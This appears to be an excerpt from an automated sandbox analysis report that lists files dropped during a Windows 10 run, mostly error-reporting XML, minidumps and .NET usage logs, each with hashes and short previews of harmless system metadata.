Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4635
Entropy (8bit):	4.424863638369923
Encrypted:	false
SSDEEP:	48:cvIwWl8zsbJg77aI99AhXWpW8VYbYm8M4J5FF1+q8vghc13FeTd:uIjf1I7MA7V/JHKUc13FGd
MD5:	5C9B4E00821A76921A05A6F9FE5FD6DC
SHA1:	3A1E45581DD874678949AB6A2C8322FB3C8D9C2B
SHA-256:	A684E49A0C8D1966F618898BE7CCC037169E303A0CA97E7AFE9B9C4D7AAF08F7
SHA-512:	4201C9FCBEECA5570134D624F96049BC954CD8E55FD91C0A1E024B25EDD8D00F5DC0CF7916A7995D8984ED621B991E3030BB3D522BF5862584AEE4DCED22603F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="137972" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	80020
Entropy (8bit):	3.0373562686722226
Encrypted:	false
SSDEEP:	1536:fmwDZQrx4jZOWSUkHsvxruDec3+U8+TJ4m1SWyC5EQ:fmwDZQrx4jZOWSUkHsvxruDec378+TJn
MD5:	D6B854A6290A484E877D9E07468D8BC6
SHA1:	E1F52FCE7E48939DA42EA79B3B537552E3EBB14A
SHA-256:	545923C65E4EFFD71D14479B50EF0BE35B78FB699D28AAF0CEFCB5847A3D7734
SHA-512:	4BC3D62110F4AC2C796DEE435B0B15EB2C281DFB1413464E132A5575B94832FDDA7082B41A54E6CD6162B92D694CCA9AE57B2CA3A6F60E91F7D3F389F83088F9
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA42F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Jan 7 04:29:49 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	225053
Entropy (8bit):	3.5779604741090987
Encrypted:	false
SSDEEP:	1536:29XEWuBojRUpN4uE2aOLLTgT97SVXRiAoCpHN1CDzrtTHO8iKc1NubiaZs8Qus:2yOi4uEqLLTgFyeiidq8Y1Nub7ZJ/
MD5:	CE8D0D7A336A1ABD968B0BF04FC91F96
SHA1:	8AD566060988066FD5EBE1A31D229C22EE331988
SHA-256:	F0CE6E47A771D20ABD9D376B3D42F0D76AA407CC4F3C73C47988B47801152184
SHA-512:	1C38C5886D28836AA8D301CCD373000E72AD871A85B647966C970CE3007568756548618E81038A8A5514F0A6ACD46E81C383BB89BE46689939581C3B40FD8FC2
Malicious:	false
Preview:	MDMP..a..... ........(.e............................(.......$................J..........`.......8...........T............-..mA........... ..........."..............................................................................eJ......."......GenuineIntel............T............(.e............................. ..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA692.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8402
Entropy (8bit):	3.6930312217628027
Encrypted:	false
SSDEEP:	192:R6l7wVeJo/6hc6Y9rSUZ1mgmfZ/UIpre89biysfOWm:R6lXJg6hc6YBSUZ1mgmfxUiixfm
MD5:	163C02C8D5C5C77FCA3E2DA3C059A0EE
SHA1:	EFE641E5AE5AF3F3D379E080039AF1C0925D9DB2
SHA-256:	999AFE0BEB5D6069CF38AA15F36303465C5E6014CA79445A97D36D8A488D43EA
SHA-512:	A0FBF48B782984420438FA9CBED7520F138935176B0DCBBFD965FFF3CFB4A490E6B015B016504FE3132FDE2C8BEA85B807F0ABE015BF3AF1742B3E5F81A7B3ED
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.7.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA6D1.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4756
Entropy (8bit):	4.46013152303132
Encrypted:	false
SSDEEP:	48:cvIwWl8zsbJg77aI99AhXWpW8VYCYm8M4JNAUOKF4QsFt+q8v9UOKF4QOIi2Z9d:uIjf1I7MA7VuJN82MKr2e923d
MD5:	4877AA13ACD02750501FE788BC4DF39F
SHA1:	2573FD07BB1E19CF70E6D550921761A0209DD21F
SHA-256:	5B7866527908523C91F2096C06372F6E96C7A9DA3F645DB8FAE1DC7B569AAECF
SHA-512:	157F9B22EF50B076DD19589977A6DA6BB323A7766905E1426EC9154454962E9BE69E8F7D08296BEF034EFBECF16FCEE967751C96B833A3F90C563519FBB7775A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="137972" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA6DF.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	79650
Entropy (8bit):	3.0387359520026314
Encrypted:	false
SSDEEP:	1536:iAVIlXZYdLbOezTudSLXueE8kU8+TJ4me2sp410:iAVIlXZYdLbOezTudSLXueE8N8+TJ4m0
MD5:	AB89B8B3E8BDC2B6EAB1DF7F7F1EF0B9
SHA1:	3F7908B2EFF4666820ACF0F96DFB86EE884AE17C
SHA-256:	111D97999AE4FA5FA2EC5FDB0E711C62060A96D122B90A5E3D2171C6B99C6EED
SHA-512:	6808219D9ABAEBF4646711B7DF10D5E5B0579D21E18D0E992416A698C782B6AE4D8B88A6A487A14BA1836EEA2E9EB0201ECCE2287DC737308651D5A90168C531
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA7DA.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6839870985848946
Encrypted:	false
SSDEEP:	96:TiZYWUxOlz0YwYYWUH6YEZMOtDi9ICvSjwwMnaHwFMk5yI4Qe3:2ZDUn3sGaHwFMk5V4Qe3
MD5:	11F0DCD37DD7F41824A1695D42B7988A
SHA1:	6AE57C66F67841CBCB368395625B252E50BE3FC4
SHA-256:	FFB7F4C7DC3DCE5B4A5E7B54975A772C4F39F9752E7E925F67A90BF4593AB8FA
SHA-512:	91496568CCE8AE35CD0316C9AAFC7ECE6DE96ADB927D3FF82DB4C29B3B1829FE5BA09828C0FFA7BBE0C52F2C9E9C04F4829C6BAFB89ADFE7CC77B5D3255240C7
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD4C.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Jan 7 04:30:12 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	60768
Entropy (8bit):	2.029708754995087
Encrypted:	false
SSDEEP:	192:vmW2CAn13Km8hhOzc+W4s6N41/acSj6U52/Mk17:6zn13lJzxs6N4acSj6o27
MD5:	7702DAD7C502F566280C396D98AFEDC0
SHA1:	E30DD5CCB9EA957CF0A58731D3D1AE7C509D920B
SHA-256:	CD99601177264C9A14C17C57C2DC0705B46D8396C98831ACFA78D49B681629EF
SHA-512:	5B6FBF9DB168002B0C587D464733CCCA94DE30762B6F0429AAC573B2C2E708263A451F24ADFB599084A0AE7B4E0859479FA2B9145F9C3D45F70A45D9BB21269E
Malicious:	false
Preview:	MDMP..a..... ........(.e.........................................%..........T.......8...........T...............P...........\...........H...............................................................................eJ..............GenuineIntel............T.......P....(.e............................. ..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFFFC.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8352
Entropy (8bit):	3.6912231495971093
Encrypted:	false
SSDEEP:	192:R6l7wVeJp996a+g6Y9FSUp1lGGgmflIprX89bUmsfc8m:R6lXJpn6a56YvSUp1VgmfltUFfe
MD5:	03DE6777F3AA9C9AF3D6077F284E2C96
SHA1:	9A0CE70DB2487D133887810213BAE0395A92F01B
SHA-256:	5C40283EF4F041BC883A6D9C18B17A328A8BA02FFD447FD62A8128310EE4E8B8
SHA-512:	D993AFE9841D2B3B86A4E82863D38D7A83AA51996D4BBD4052F91DCE18C6C41CB99BFF4067797FAD196A2358A3F4AF644F51BD60117015D65A8986166E348134
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.9.6.8.<./.P.i.

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\E35F.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\E35F.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1498
Entropy (8bit):	5.364175471524945
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6Kha1qE4GIs0E4KCKIE4TKBGKoZAE4KKUNCsXE4Npv:MxHKQwYHKGSI6oa1qHGIs0HKCtHTHhAu
MD5:	4498136F7C115EAA76D9BDA4497E42DE
SHA1:	D490DC922B978B5657BFB5D611285343C27B2403
SHA-256:	51FB932FFE68E1134CD2B88F4AB0CFB10DC266AD910B0A3949A98F2A6E9AD197
SHA-512:	C28DC4E3D78FC7CB4FA976832ECF75F0A915338A87888CADECAEDB67AFE7267FB638308B8FD48E07E10724A0AE88D7AFA0492D764E842433828AD58115AAC171
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9D1E.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\9D1E.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FD8E.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\FD8E.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	5.3390464553014825
Encrypted:	false
SSDEEP:	24:ML9E4KiE4K5sXE4qdKtKDE4KhKiKhPKIE4oKNzKoZAE4Kze41qE4DJE4x84j:MxHKiHKMH7YHKh3oPtHo6hAHKze41qHz
MD5:	6B8730ABC64C7CE1CDBB0E729CE7C13D
SHA1:	1E0F389E7F6BCAD78AD5BFEF20851088FECD2C62
SHA-256:	7CB144DB94CA8A9F7FE4E4F84DDDC93636624E31C5E2BE9805C15FF3FFF9B5EC
SHA-512:	D745B34DF6FCF11E6BABCC700CB89FB3ABF051336F8D3BEEF7F7014D5043BC8B619B9AE0B7A59F64211CE0A39A513992F2102BFD30F25532BE421CE4637D49AC
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\96012833bebd5f21714fc508603cda97\System.Management.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Cultu

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Windows\explorer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1019
Entropy (8bit):	5.236946495216897
Encrypted:	false
SSDEEP:	24:YqHZ6T06Mhm4ymNib0O0bihmCetmKg6CUXyhmimKgbxdB6hmjmKgz0JahmcmKgbR:YqHZ6T06McoEb0O0bicCewHDUXycLHbR
MD5:	5D20D9B3F928AC964E07C561FD8A3F42
SHA1:	B702BE149FCF94831A975F2CD06B2DFE020D9632
SHA-256:	59A4F22870D7A7DC3339917C89FF6AF09FA762AF39F0624338FDDFF631730492
SHA-512:	30E5F275FFB475A403439C3A4DCC05F3E12A6914D93F20EB38AF3240A7F693A455C25C005A3681AB39C89BFAD9AE66FAAE3874B987FAC48BB6A5439194FDCEDC
Malicious:	false
